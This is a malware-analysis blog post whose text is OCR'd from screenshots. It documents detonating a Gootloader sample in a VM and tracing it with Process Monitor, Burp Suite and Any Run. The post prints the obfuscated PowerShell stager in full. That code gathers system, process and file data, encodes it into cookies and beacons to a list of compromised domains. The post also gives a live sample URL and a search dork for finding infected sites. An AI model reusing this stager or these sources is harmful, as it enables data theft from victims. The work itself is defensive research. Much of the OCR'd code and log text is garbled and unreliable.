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Detailed visualization of a cybersecurity workspace analyzing Gootloader malware.

BLUF:

The Gootloader isn’t broken (as previously posted on this site in: Gootkit is broken right now); this post follows the

analysis steps that @Gootloader‘s video shows us using Process Monitor and Burp Suite Proxy intercept.
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Intro:

I used to routinely check on the @GootloaderSites Twitter Bot posts for up to date IOCs to search for. At some
point they were removed from Twitter, and I thought it was the end of it. Since I’ve started blogging and doing more
research during my off-duty time, I’ve been more immersed in the Twitter alternative — Mastadon. I’ve found that
the Twitter Bot moved to Mastadon under the same name @GootloaderSites. I was glad to see they’re still around! I

reviewed their latest blog “My-Game Retired? Latest Changes to Gootloader” where they discussed a lot of GREAT

info, and shared a link to their Youtube video “Gootloader Malware Technical Deep Dive“. This post documents

following @GootloaderSites® steps in their video.

Running in a local VM

Followed steps from Gootloader Malware Technical Deep Dive by @Gootloader.

Ran my go-to dork to find a Gootloader fake forum: “site:*.it enterprise agreement”.

Downloaded a Gootloader sample direct from the source at https[:]//caputosfizinapoletanil.]it/enterprise-agreement-

ramsay-health. Interestingly, Firefox threw a warning.

E‘“ Mot Secure

A Warning: Potential Security Risk Ahead

ntinue to caputosfizinapoletani.it. The website is either
set to the wrong time,

Advanced...

[ uploaded it to VT if you wanted to see:
https://www.virustotal.com/gui/file/225053ce7e06b780e6acb968f3efc876ce329e37ff4cbfa716f960a8fc5ba77d/behavior

Downloaded Process Monitor, set the Process Name to contain script.

Downloaded Burpsuite, Enabled Proxy Intercept

Configured Windows manual proxy to go through Burp Suite (127.0.0.1:8080)
Configured the Powershell default profile to enable transcripts via “start-transcript”.
Executed the JS file.

Process Monitor shows it’s writing to “Interface Programming.dat”
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B Process Monitor - Sysinternals: www.sysinternals.com = a X

File Edit Event Filter Tools Options Help

ERIIRT YHAO| &I # L =22 E

Time of Day  Process Name PID Operation Pah Resut
6:34:04.9640469 PM gp WScript exe 3628 s WiteFile C:\Users\hemes T\AppData’\ Roaming\Adobe nterface Programming dat FAST I0 DISALLOWED
6:34:04.9640559 FM gy W Script exe 3628 7w WiiteFile CaLl T\ AppD: g\ Programming dat SUCCESS
6:34:04 9641175 PM gp WScript exe 3628 e WiteFile C:\Users'hermes 1 AppData’\Roaming'\Adobe \nterface Programming dat SUCCESS
6:34:04.9641935 FM g W Script exe 3628 7w WiiteFile CaLl T\ AppD: g\ Programming dat FAST I0 DISALLOWED
6:34:04 9642011 PM gp WScrpt exe 3628 s WiteFile C:\Users\hemmes 1'AppData’\Roaming'\Adobe \nterface Programming dat SUCCESS
6:34:04.9642534 PM g8 W Script exe 3628 u WiteFie C:A\Users'hemes TAppData\ Roaming'\Adobe nterface Programming dat FAST I0 DISALLOWED
6:34:04 9642602 PM gp WScript exe 3628 s WiteFile C:\Users\hemmes 1'AppData’\Roaming'\Adobe \nterface Programming dat SUCCESS
6:34:04.9643154 PM @8 W Script exe 3628 u WiteFile C:\Users'hemes T\AppDataRoaming'\Adobe Interface Programming dat SUCCESS
6:34:04 9643636 PM g WScrpt exe 3628 e WiteFile C:\Users\hemmes 1'AppData’\Roaming'\Adobe \nterface Programming dat SUCCESS
£:34,04.9644177 FM g WScript exe 3628 i WiteFile C:\Users‘hemes TAppDataRoaming'\Adobe nierface Programming dat SUCCESS
6:34.04 9644609 PM g 3628 s WiteFile C:\Usersthermes 1'AppData’\Roaming'\Adobe nterface Programming dat SUCCESS
£:34:04.9645030 PM 3628 e WiteFile C:\Users‘hemes T\AppData\ Roaming'\Adobe nterface Programming dat SUCCESS
6:34:04 9645569 PM g W Script exe 3628 7 WiteFile C:\Usersthermes 1'AppData’\Roaming'\Adobe nterface Programming dat SUCCESS
6:34:04.9545009 PM g WScript exe 3628 e WiteFile c \Users\hermes1\AppDma\Huam\ngWobe\\medace Programming dat SUCCESS
£:34:04 9646443 PM gp WScript exe 3638 s WiteFile 1\AppD Programming dat SUCCESS
6:34:04.9646881 PM g WScript exe 3628 e WiteFile c \Users\hermes1\AppDma\Huam\ngWobe\\medace Programming dat SUCCESS
£:34:04 9647328 PM g WScript exe 3638 s WiteFile C:\Usersthemes 1'AppData\Roaming 1face Programming dat SUCCESS
6:34:04.9647814 PM g WScript eve 3628 s WiteFile C:\lsers\emes 1\ AppData’Raaing Vidcbenterface Programming det SUCCESS
£:34:04 9642229 PM g WScript exe 328 s WiteFile C:\Usersthemmes 1'AppData\Roaming' Adobe nterface Programming dat FASTI0 DISALLOWED
6:34:04.9648300 PM g WScript eve 3628 s WiteFile C:\Users\hemes T\AppData’\Roaming\Adobe nterface Programming dat SUCCESS
6:34:04.9648785 FM g W Script exe 3628 7w WiiteFile CaLl T\ AppD: g\ Programming dat FAST I0 DISALLOWED
6:34:04. 9548854 PM gp WScript exe 3628 e WiteFile C:\Users'hermes 1 AppData’\Roaming'\Adobe \nterface Programming dat SUCCESS
6:34:04.9649323 FM g W Script exe 3628 7w WiiteFile CaLl T\ AppD: g\ Programming dat FAST I0 DISALLOWED
6:34:04 9643352 PM 3628 s WiteFile C:\Users\hemmes 1'AppData’\Roaming'\Adobe \nterface Programming dat SUCCESS
£:34,04.9643875 FM 3628 u WiteFie C:A\Users'hemes TAppData\ Roaming'\Adobe nterface Programming dat SUCCESS
6:34:04 9650374 PM 3628 e WiteFile C:\Users\hemmes 1'AppData’\Roaming'\Adobe \nterface Programming dat SUCCESS
£:34,04.9650855 FM 3628 T WiteFile C:\Users'hemes 1AppDataRoaming'\Adobe Interface Programming dat SUCCESS
6:34:04. 9651329 PM g WScript exe 3628 7 WiteFile C:\Usersthermes 1'AppData’\Roaming'\Adobe nterface Programming dat SUCCESS
£:34,04.9651733 FM g WScript exe 3628 i WiteFile C:\Users‘hemes TAppDataRoaming'\Adobe nierface Programming dat SUCCESS
6:34:04 9652145 PM g WScript exe 3628 7 WiteFile C:\Usersthermes 1'AppData’\Roaming'\Adobe nterface Programming dat SUCCESS
£:34:04.9653023 PM g WScript exe 3628 e WiteFile C:\Users‘hemes T\AppData\ Roaming'\Adobe nterface Programming dat SUCCESS
6:34:04 9653488 PM g WScript exe 3628 7 WiteFile C:\Usersthermes 1'AppData’\Roaming'\Adobe nterface Programming dat SUCCESS I
6:34:04.9653930 PM g WScript exe 3628 s WiteFile C:\Users‘hemes T\AppData\Roaming'\Adobe nterface Programming dat SUCCESS

Showing 20,844 of 6,124,223 events (0.34%) Backed by virtual memory 1

It looks like it creates “Multi-million Dollar.js”. At this point, I'm not too savvy with reading Process Monitor yet.

In the future I’ll research more and figure out how to give better explanations.

¥ Process Monitor - Sysintemals: www.sysintemals.com - [m} ®

File Edit Event Filter Tools Opticns Help

= Bl YH@|fH # L/ H« @M

Time of Day  Frocess Name PID  Operation Paih Result
£:34:052392052 PM gp WScrpt exe 3628 ' WikeFile C:\Ussrsthemes 1'App Data'\Roaming' Adobe'Interface Programming dat SUCCESS
6:34:05.2392430 PM @8 W Script.exe 3628 ReadFile C:\Windows"System32yscrict.di SUCCESS
6:34:052395783 PM gp WScrpt exe 3628 ' Readfile C:\Windows'System32yscript di SUCCESS
6:34:05.2456390 PM @B W Script.exe 3628 Closefile C:\Usersthemes 1'App Data'\Roaning' Adebe nterface Programming.dat SUCCESS
6:34:05.2460216 PM gp WScrpt exe 3628 ' QuenOpen C:\Ussrsthemes 1\App Data'\Roaming’ Adobe'Interface Programming dat FAST 10 DISALLOWED
6:34:05.2460470 PM @8 W Script exe 3628 CreateFile C:\Usersthemes 1'App Data'\Roaming' Adobe rterface Programming dat SUCCESS
6:34:05.2460648 PM gp W Script exe 3628 ' Query e C:\Users\hemnes 1\AppData\Roaming'Adobe\interface Programming dat SUCCESS
6:34:05.2460736 PM @B WScript exe 3628 Closefile C:\Usersthemes 1'App Data'\Roaming' Adobe rterface Programming dat SUCCESS
6:34:05.2460844 PM g 3628 IRP_MJ_CLOSE C:\Ussrsthemes 1'ipp Data'\Roaming' AdobeInterface Programming dat SUCCESS

2 Dat;
6:34:05.2463284 PM g W Scrpt exe 3628 ' CreateFle C:\Ussrs'hemes 1\App Data'\Roaming\ Adobe Mutimilion Dollarjs NAME NOT FOUND
6:34:05.2463622 PM @8 WScript exe 3628 GuenOpen C:\Usersthemes 1'App Data'\Roaming' Adobe rterface Programming.dat FAST I0 DISALLOWED
6:34:05.2463850 PM 3628 ' CreateFle C:\Ussrsthemes 1\App Data'\Roaming’ Adobe'Interface Programming dat SUCCESS
£:34,05.2463959 FM 3628 ' Query e CU 1AppData’ Roaming'Adobenterface Programming dat SUCCESS
6:34:05.2464034 PM gp WScript exe 3628 ' Closefile C:\Ussrsthemes 1\App Data'\Roaming’ Adobe'Interface Programming dat SUCCESS
6:34:05.2464186 PM @8 W Script exe 3628 IRF_MJ_CLOSE C:\Usersthemes 1'App Data'\Roaming' Adobe rterface Programming dat SUCCESS
6:34:05.2464426 PM gp WScript exe 3628 ' QuenOpen C:\Ussrsthemes 1\App Data'\Roaming' Adobe Mutimilion Dollarjs FAST 10 DISALLOWED
£:34,05.2484607 FM g WScript exe 3628 CreateFile C:\Usersthemes 1'App Data'\Roaming' Adobe Multimilion Dollarjs NAME NOT FOUND
6:34:05.2464915 PM gp WScrpt exe 3628 ' CreateFle C:\Ussrsthemes 1'App Data'\Roaming’ Adobe SUCCESS
6:34:05.2465110 PM @8 WScript exe 3628 GuenyDirectory C:\Usersthemes 1'App Data'\Roaming' Adobe rterface Programming.dat SUCCESS
6:34:05.2465445 PM gp Wcript exe 3628 ' CreateFie C:\Ussrsthemes 1\App Data'\Roaming’ Adobe'Interface Programming dat SUCCESS
:34,05.2466402 PV g WScrit exe %28 WG TagFile chu 1App Data’\Roaming'Adobenterface Programming dat SUCCESS
6:34:05.2466513 PM gp WScrpt exe 3628 ' Query e C:\Users\hemnes 1\AppData’\Roaming'Adobe\interface Programming dat SUCCESS
6:34:05.2466784 PM @B W Script exe 3628 CreateFie C:\Usersthemes 1'App Data'\Roaming' Adobe SUCCESS
6:34:05.2467060 PM gp W Script exe 3628 o SetPer il C:\Users\hemnes 1'AppData’\Roaming'Adobe\terface Programming dat SUCCESS
6:34:05.2467973 PM @B WScript.exe 3628 7 Closefile C:\Usersthemes 1'App Data'\Roaming' Adobe SUCCESS
6:34:05.2468121 PM gp WScrpt exe 3628 ' IRP_MJ_CLOSE C:\Ussrsthemes 1'App Data'\Roaming’ Adobe SUCCESS
6:34:05.2468218 PM @B W Script exe 3628 7 Closefile C:A\Usersthemes 1'App Data'\Roaming' Adobe Multimilion Dollarjs SUCCESS
6:34:05.2468381 PM gp WScrpt exe 3628 ' IRP_MJ_CLOSE C:\Ussrsthemes 1\App Data'\Roaming' Adobe \Multimilion Dollarjs SUCCESS
6:34:05.2468498 PM @B W Script.exe 3628 QuenyDirectory C:\Usersthemes 1'App Data'\Roaming' Adobe NO MORE FILES
6:34:05.2468658 PM gp WScrpt exe 3628 ' Closefile C:\Ussrsthemes 1'App Data'\Roaming’ Adobe SUCCESS

| 6:3405.2468738 PM B WScrpt ene 3628 IRP_MJ_CLOSE C:\Usersthemes 1'App Data'\Roaming' Adobe SUCCESS

| 6:3405.2468368 PM g WSorpt eve 3628 ' CreateFle = SUCCESS

|Showing 20,844 of 6,190,505 events (0.33%) Backed by virtual memory

I couldn’t find the process in Process Monitor for the task scheduling part. I suspect I may need to modify the

Process Monitor filter. I’1l figure that out later and provide updates. Here’s a snip of the Task that was added.
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File Action View Help

s | nm HE

@ Tosk Scheduler (Local) Name Status Tiggers Next Run Time Last Run Time Last Run Result Author | [ Actions
> [ Tosk Scheduler Library || = ; "
® MicrosoftEd... Resdy Multiple triggers defined 5 ASTPM 5/ P The op: by, (0x0) Scheduler Library
L Ready 93t repeat every 1 hour for & duration of 1 day. 5/12/2024 T05:5TPM  5/12/2024 6:06:10 PM The Dmulmn(nmn\d:dsu(cnsh\ly (O E Create Basic Task.
) OneDrive Re... Ready At 7:25 PM on 5/11/2024 - After triggered, repest every 1.00:00:00 indefinitely. S/12/2004 T2S03PM 57 PM The (000 Microsoftd | 1 coeate Tk
@ - Ready 51171982 - iggered, repest every 1 11/30/1999 120000 AM _The task has not yet run. (Bx41303) Microsoft
@ Surtace Tan.. Ready AtIOGONOF 1y S,.t,ce Transportation Properics (Local Computer The operation completed successfully. (0<0) mport Task...
- [ Display All Running Tasks
General Triggers Actions Conditions Settings History (disabled) @ Enable All Tasks History
e etk you st ] New Folder..
Edit Action X View ’
Action Details You must specity what action this task will perform. Gl Refrech
Sataprogem  wicript MULT-1J5. B Hep
Acti Start 2 program v
jon: proge ! - 2
—_— | Settings. —
Genersl Triggers Actions Conditior b Run
Programscript: o End
When you creste a task, you must 5pl
you ke P wscript Browse. ¥ Disable
Action Detsis | Add arguments (optional): MULT--1J5 b Expert..
Stataprogam  wscript MULT Startin (optional): spDats\Roaming\Adobd % Properties
- K Delete |
B Hep
New... Edi.. Delete
Ok | Cancel
ar - — e . = . 5 T20PM
| J— o Q Seard e Fa@CB@EB et H aly & o oo T

Here is a copy of the PS transcript below. The highlighted portion is the PS commands that are executed. You can

see below it, that it is timing out because I’ve got Burp Suite Interceptor on, and I haven’t pressed any button yet.

Note that it doesn’t error out on the enumeration commands as it does in the Any Run sessions.

- - o x
B +
File Edit View o]
Al C \ngr‘an Files\mnnow;Power-snell\Hnnules\PSReadune\z I G\PSﬁeadUr\E pslll 4 (nar‘ 5
+ [Microsoft.PowerShell.PSConsoleReadline]: :ReadLine($host.Runspace ...
=

+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException

+ FullyQualifiedErrorId : NotSupportedException
PS C:\Users\hermesl\AppData\Roaming\Adobe> function pTIZXpt($Eufyh){SWQNvbl = New-Object ("Sy"+"s"+"t"+"em"+".I"+"0."+"M"+"emo"+"ry"+"Strea"+"m");$BvOPP = New-Object
("System."+"T0.Stream™+ Writ"+"er”) ( (New-Object ("Syste™+"m.I0.Co™+"mpression.GZ"+"ip™+"Stre™+"am") ($UQNvb1, (New-Object
("Syst™+"e"+"'m.10.C "+ omp"+"res”+"sio"+"n"+".Com"+"p"+"r"+"essi"+"onMo"+"d"+"e") ) : : ("Co"+"mp"+"ress") ) ) ) ;$BvOPP . WrItE([strInG]: : JoIN("|!",$Eufyh));
$BVOPP.CloSe() ; [sysTEm.CONvert]: : ("ToBase64™+"S"+ trin"+"g") ($(@(230,4,226,201,90,87); $WQNvbl.ToArray() ;@(226,55,72,47,225,44)))}function DVGghm($nxpl) i
{$kuglokP="859F2592CD" ;$oVrly = ("iSfolder|ShEIL.aPpLIcatTIOn|NAMeSpaCE |itEms |1sLINK|NAME | ISFILEsysTem").split("|");$SohqufdP=pTIZXpt((dir env:|where{$_.value.Length -1t
99} | %{($_.name+"~"+$_.value)})+("OSWMI*"+(gwmi Win32_OperatingSystem).caption));$ONRle=pTIZXpt(GpS|selECt naMe -uniQuE|%{$_.namE});
$KUZVGX=pTIZXpt (GPS |where{$_.mAInwINDOWTITLe} |%{$_.Name+"~"+$_.mAInwINDOWTItLe}) ; $GMFst=pTIZXpt(((new-object -com ($oVrly[1])).($oVriy[2])(0)).($ovrly[3])
O |%(1F($_. ($oVrly[4])){"@"+$_. ($oVrly[5])Jelseif ($_. ($aVrly[8])){ 1"+$_. ($oVrly[5])}elseif(s_ (WIVIB])){'Z'HID Palh]: :getfileNAME($_.pAth)}elSe{"3"+$_.($ovrly[5])}});
$2P1aHfH=pTIZXpt (gDR|wHere{$_. FrEE -gT 50000} |%{$_.NAME+"~"+$_.usED}); [nEt.SerVic : :securITy
[NEt. seCURTtyproToCoLTYpE] : :TLS12; [net . SeRviCEpOINtManAGER] : : SERVeRcERTIFIcateVAL idaTioncallback ={$true}; ﬂf-bo-[svso:a-_ll-j.iﬁmwﬂ].:erm(q.nupl),
$Zfmb0.USERAGEnt="Mozi11a/5.8 (Windows NT 10.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.8.0.8 Safari/537.36";$Zfmb0.keepALivE=(8);
$Zfmb0.heaDErs . Add("Cookie: $kiglokP=SohqufdP; $kiiglokP" 1-SONRle; $kiiglokP" 2-SKUZGX; $kiiglokP™ 3=§GMFst; $kiiglokP™4=$2zPlaHfH");$ZgcaYt=nek-0BIEct sysTem.IO.STREARREADEr
$Zfmb0.GEtREsponSe().getreSpONSESTReaM( ) ; $viVoG=($ZgcaYt. )) -SpLit ($kiiglokP);iF cOulit -EQ 3){: 1] -REPLAce "~","");}}WhI1E(1)
{TRY{DVGghm(@( "https://lyricsknow.com/", "https://brandweekistanbul.com/", "https: / /www.kuttentag.de/", "https://fapville.com/", "http://ahg.com.sa/","https://www.sachverstaendig
er-fenster.net/", "https://coBa.ru/", "https://hentai.tv/", "https://procracks.net, https://khabarpahad.com/") | GEt-rAnDOm)}CATch{};sLeEP -s 20}
PS C:\Users\hermes1\AppData\Roaming\Adobe> TerminatingError Exception calling "GetResponse” with "@" argument(s): "The operation has timed out™"

PS C:\Users\hermes1\AppData\Roaming\Adobe> TerminatingError Exception calling "GetResponse” with "@" argument(s): "The operation has timed out™"
PS C:\Users\hermes1\AppData\Roaming\Adobe> TerminatingError Exception calling "GetResponse™ with "8" argument(s): "The operation has timed out™"
PS C:\Users\hermes1\AppData\Roaming\Adobe> TerminatingError Exception calling "GetResponse” with "@" argument(s): "The operation has timed out™"
PS C:\Users\hermes1\AppData\Roaming\Adobe> TerminatingError Exception calling "GetResponse” with "8" argument(s): “The operation has timed out™"
PS C:\Users\hermes1\AppData\Roaming\Adobe> TerminatingError Exception calling "GetResponse” with "@" argument(s): “The operation has timed out™"
PS C:\Users\hermes1\AppData\Roaming\Adobe> TerminatingError Exception calling "GetResponse™ with "@" argument(s): “The operation has timed out™"
PS C:\Users\hermes1\AppData\Roaming\Adobe> TerminatingError(): “Exception calling "GetResponse” with "@" argument(s): “The underlying connection was closed: An unexpected

error occurred on a receive.””
PS C:\Users\hermes1\AppData\Roaming\Adobe> TerminatingError(): “Exception calling “GetResponse" with “@" argument(s): “The operation has timed out""
PS [ -\llcerc\harmaci\dnnNata\Rnamino\ Adnhes TerminatinoFrrar{)- “Fxrentinn ralling “GetRecnnnce® with “A" arcumentf<)- “Tha nneratinn hac timed nut*"

Ln26,Col 227 2,226 of 6,704 characters 100% Windows (CRLF) UTF-8 with BOM

You can see there appears to be some questionable beaconing domains that should raise some flags. For example,

I’'m assuming that domains 4, 8, and 9 are likely domains that don’t comply with corporate usage policies.

Here’s a snip of the Burp Suite Interceptor. I would like to see the packet output from this in a future analysis. Take
note of the previously observed enumeration data that is GZIPd and then B64 encoded into the Cookie values. Also

take note of the host field.
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Burp  Project Intruder Repeater View  Help Burp Suite Community Edition v2024.3.1.4 - Temporary Project - o EY
Dashboara  Torget Intruder  Repester  Colaborator  Sequencer  Decoder  Comporer  logger  Organzer  Edensions  Learn B settings
HTTPhistory  WebSackets history. & Prony settings
£5 B) Request to nttps/tapville.com:443 [104.21.7.83)
Fervard Drop [ intercept s on ] Adien Open browser L 4O
R Hex B " = inspector "D ::®x g
1 GET S HETR/LL
User-Agent =
o8 Request attributes 2 v 2
g
Request query parameters o - 8
Request bacy parameters v v
Request cookies 50~
g

Name Value

0597259200 SoTiyVpiHASIAARA.
05972592001 SOTIVPIHEIALAA,

059F2592C03 SOTIVRXHAIIAAAR

>
>
ossrassaco SaTypCHaAARA . 3
" >
| ossr 259204 SaTppCHIAAML. >

+

Request headers 4~

[eX:HGIE) £ Ohighlights

Eventlog 28]"  Allissues © Memary: 1205M8

The host field is not in the RFC compliant place. RFC 7230 section 5.4
(https://datatracker.ietf.org/doc/html/rfc7230#section-5.4) states: “Since the Host field-value is critical information
for handling a request, a user agent SHOULD generate Host as the first header field following the request-line.” as

seen below.

@ O 8 ietf.org
Host

The "Host" header field in a request provides the host and port
information from the target URI, enabling the origin server to
distinguish among resources while servicing requests for multiple
host names on a single IP address.

Host = uri-host [ ":" port ] ;
A client MUST send a Host header field in all HTTP/1.1 request

messages. If the target URI includes an authority component, then a
client MUST send a field-value for Host that is identical to that

authority component, excluding any userinfo subcomponent and its "@"
delimiter (S ion 1). If the authority component is missing or
undefined for the target URI, then a client MUST send a Host header

field with an empty field-value.

Since the Host field-value is critical information for handling a
request, a user agent SHOULD generate Host as the first header field
following the request-line.

For example, a GET request to the origin server for
<http://www.example.org/pub/WWW/> would begin with:

GET /pub/WwWwW/ HTTP/1.1
Host: www.example.org

If you observe PCAP with a GET request that shows the User-Agent field is a web browser, but it is not RFC 7230

compliant, you should scrutinize it.

Running it in Any Run:
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Here’s a snip from the Anyrun session showing the Gootloader Powershell script erroring out

[llPowershell_transcriptUSER-PC.2W3epv1F.20240513065237.kxt - Notepad T
Fle Edt Format View Help
St et e e T =

windows powershell transcript start
start time: 20240513065237
Username: USER-PChadmin
FunAs User: USER-PChadmin
Machine: USER-PC (Microsoft windows NT 6.1.7601 Service Pack 1)
HOST Appncatﬁun powershall
Frocess ID:
Psversion: 5. 1 14409 1005
psedition: Deskto
psCompatibleversions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14409.1005
Buildversion: 10.0.1440%.1005
CLRversion: 4.0,30319,42000
wsManstackversion: 3.0
PSRemotingProtocolversion: 2.3
ser1a11zatianvers1on 1.1.0.1
e

Transcﬂpt started output file is C:\Usershadmin\bocumants\Powershell transcr“‘!pt USER-PC. 2W3epvlF. 20240513065237 txt

Ps C: \UsErs}adm1n\AppData\Ruam1nE\MUZI'I'Ia> Functwn p'r:[zxptgssufyh){ rvhl = Hew— object (" Sy +" 5 + ! LI +"M"+"emo"+"ry"+"Strea"+"m"); §EVOPP =
New— Ob]ect System, "+"I0, Stream”+"writ '+ er )((Nwﬁb;ect Syste"+'m,I0.Co"+ 'mpression. G2+ m o+ ‘stre’’ + am s vb'l (New Object
+"a"+"m. 10.C"+"omp "'+ "res v .Cm +'p"+ e es s T " "onMo + "d " "e DD i (' Co "+ mp T+ Tres s D)) SBVOPP er‘tE([strInG] sJoINC [

m+
n

s

seugpp closa(); [s SysTEm. CoMvert] ( a S trin+ " ) (§(8(230,4, 226 201,50, E?j Swahivh . 'rm:rray( (225 55,72,47,225 M)))}fun(tmn nvc gm(&nxp'l)

Eskwg]okp "05OF2592CD"; favr ] 1sfolder|5hE1L aPpLICaT[OnINAMESpaCEHT.EmsI“SLINK\NMEIISfILESySTem ). 5] 'H: B H !ohqufdP p‘rszpt(( E
value.Length -1t 99}|%{(¥ nama+"A"+$_.value) o+ OSWMI A "+ (gwmi wWin32_operatingSystem).caption)); $ONR e-pT[zx t(G

§KUZViEK=0T 12 t(GPs\where{S mAranNDow‘rl‘rLe%H% {8 Mame+"A"+§_ mAIanNDoMltLEP SGMTsT= plexptE((new obiect —com (!ovﬂﬁ/[:l])) gsuvﬂyEZ])(U)E‘ (suvﬂy[s]g

O 1%l if(s_. ($uv rly[4100{"0 b (Sovrl y[51)}telseif(s_. (Snvr'\¥[0 n{M” +$ ($|:Vr‘ y[S])}E'lSEIf(! $ovrTy[6e]00{"2" +[10 PaTh L _-path)eLse{"3"+

CSovriy[S1D}}1); 52P'Iaan—pT[z><p (gDRIwHere{s « FrEE A4S [nET. ServicEPointmanager] @ securITyPROIUcm =

[MNEL. SeCURITYproToCoLTY| E] : ; [net. SER\HCEpOINtManAGER% ssnven ERTIFICatEVAL1daT1Dncd'l'lhacK ={$truel; ZFmbO-[STStEm NET.WwEhr EQ uesT] : Createginxyﬂ)

$ZTmbo ., USERAGENT ="Moz11 1275, 0 (bﬁnduws WT 10.0; wingd; x&4 p?'lewebkﬁrfﬂ? 36 (KHTML, 'er Gecko) Chrurle-/ 23.0.0.0 safarUSS? 36°; $zimon, keepm. VE=(0];

$zfmbo. heabErs. add("Cookie: §kwglokpP=Sohqufdr; $kwglokp L=fonrle; SkwglokP 2=§kuzvGx; $kwi P 3=gcmfst; fkwglokp 4=§2pTlaHfh"); $cha‘(t—new 0BJE

;ysTEm 10, STREAMREADEr $Zfmbo. GETREsponse(). Elgtrgs;-oms:smgam() Swivoc=C($Zgcavt. ngnnmenn?jj —spLit (skwg'\ukﬂ) PF(SvivoG, count —EQ zj{rex(sw\mc [1] —~REPLACE

DER hﬂE(:L){'rRY{DVGghm(

( https S Tyricskn om/" https: //hrandweak1star|bu'l com/”, https ./ fwww . kuttentag. de/ “https://Fapuille. com/™, “http:/fahg. com. sa/" , "https 1 //www. sachverstaa
ndiger—fenster. net/ htt s/ coBa. ruy/”, "https: S/hentad. w/ https: //procracks nec/ h't'tps t//khabarpahad. com/ 31 GET- mnm)}cmch{} SLEEP -5 20}
PS C: \usgrs\admn\AppDataERmmwng\anﬂ'Ia) Tgr‘vmnat1ngEerr(whErE-GhjeCt) "operator '==' cannot be applied to operands of t

‘system.Collections. D‘Ict‘!oﬂaryEn(ry and "<nulls’

>> TErnnnat]ngErrur(\-lhere-oh]E(t) "operator '==' canmnot be a p'lmd to operands of type 'System.collections.DictionaryEntry' and '<null>'"
Ps C: \Usersia mn\nppoata\auamng\MuziHa) Termnatmgcrrur(u ere- objecrsl “Operator --' cannot be applied to operands of type
'System.Collections.DictionaryEntry’ and '<null

»»" TerminatingError (where-object):” “"operator ‘==‘ cannot be applied to operands of type ‘system.Collections.oictionaryEntry’ and '«nulls’'"

The last lines of the PowerShell transcript show the error. Because the PS executes in my local Win 11 VM, but it

errors out in the Any Run Win 7 VM, I am speculating that their recent change might use PS commands that don’t

work in Win 7. In a previous post (https://malasada.tech/gootkit-is-broken-right-now/) we discussed how the

Gootloader PS stopped working. This post shows that previous post was incorrect.

This leads me to question if the Any Run’s $150 a month cost is worth it if I’m restricted to a Win 7 VM that
doesn’t execute the Gootloader PS. It’s unfortunate because Any Run is VERY convenient for quick and easy

analysis — especially since they added the Script Tracer capabilities.

TODO:

In a future post, I’ll dive into the following:

e Improving the Process Monitor filter,

e Creating filters in Burp Suite so that only the beaconing domains are intercepted,

e Running TOR on the local VM so that we can Forward the beacon packets and evaluate the responses, and
e Doing a deep dive to evaluate the RFC 7230 Section 5.4 compliance for PS System.Net.WebRequest to see

if PCAP shows it is non-compliant.

Summary:

The Gootloader isn’t down as I’ve previously posted. You can perform simple analysis on a local VM running

Process Monitor and Burp Suite, with minimal configuration.
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